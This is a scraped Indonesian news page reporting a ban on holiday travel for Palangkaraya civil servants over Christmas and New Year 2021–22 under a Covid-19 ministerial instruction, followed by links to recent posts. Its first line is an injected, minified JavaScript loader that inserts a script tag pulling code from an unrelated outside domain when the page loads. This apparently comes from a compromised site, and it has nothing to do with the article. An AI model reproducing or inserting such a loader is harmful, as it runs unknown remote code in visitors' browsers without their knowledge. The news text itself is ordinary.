(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Patuhi Inmendagri, Noorkhalis Ingatkan ASN Pemko Palangkaraya Tidak Mudik


KANALKALIMANTAN.COM, PALANGKARAYA – Terhitung 24 Desember 2021 sampai 2 Januari 2022, Aparatur Sipil Negara (ASN) dilarang kegiatan bepergian ke luar daerah atau cuti bersama.

Aturan itu tertuang dalam Instruksi Mendagri (Inmendagri) Nomor 66 tahun 2021 tentang pencegahan dan penanggulangan Covid-19 pada saat natal dan tahun baru. Serta surat edaran Menpan-RB nomor 26 tahun 2021 tentang aturan bagi ASN untuk tidak mudik.

“Kami harap agar aturan itu bisa dipatuhi, sebab apabila ada ASN yang nekad melanggar, maka yang bersangkutan bisa dikenakan sanksi disiplin,” kata Anggota Komisi A DPRD Palangkaraya, Noorkhalis Ridha.

Sebab aturan pembatasan yang dikeluarkan itu, sebagai upaya bersama mencegah penularan virus corona, karena bisa saja berpotensi meningkat karena perjalanan orang dalam masa pandemi saat ini.

 

 

Baca juga: Buntut Police Line Jalan Hauling Km 101, MAKI Gugat Pra Peradilan Polda Kalsel

Jika mengacu aturan maka ASN hanya dapat bepergian ke luar kota pada saat kondisi mendesak atau dalam keadaan terpaksa. Itupun harus diketahui dan seizin pejabat di lingkungannya terlebih dahulu.

Namun hendaknya ASN di lingkungan Pemerintah Kota Palangkaraya, benar-benar mematuhi aturan tersebut, sehingga tidak mendapat sanksi dengan menunda perjalanan sampai kondisi Indonesia, terutama Kalteng sudah dinyatakan bebas dari Covid-19. (kanalkalimantan.com/tri)

Reporter : tri
Editor : kk


Risa

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

2 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

4 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

4 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

4 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

5 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

5 jam ago

This website uses cookies.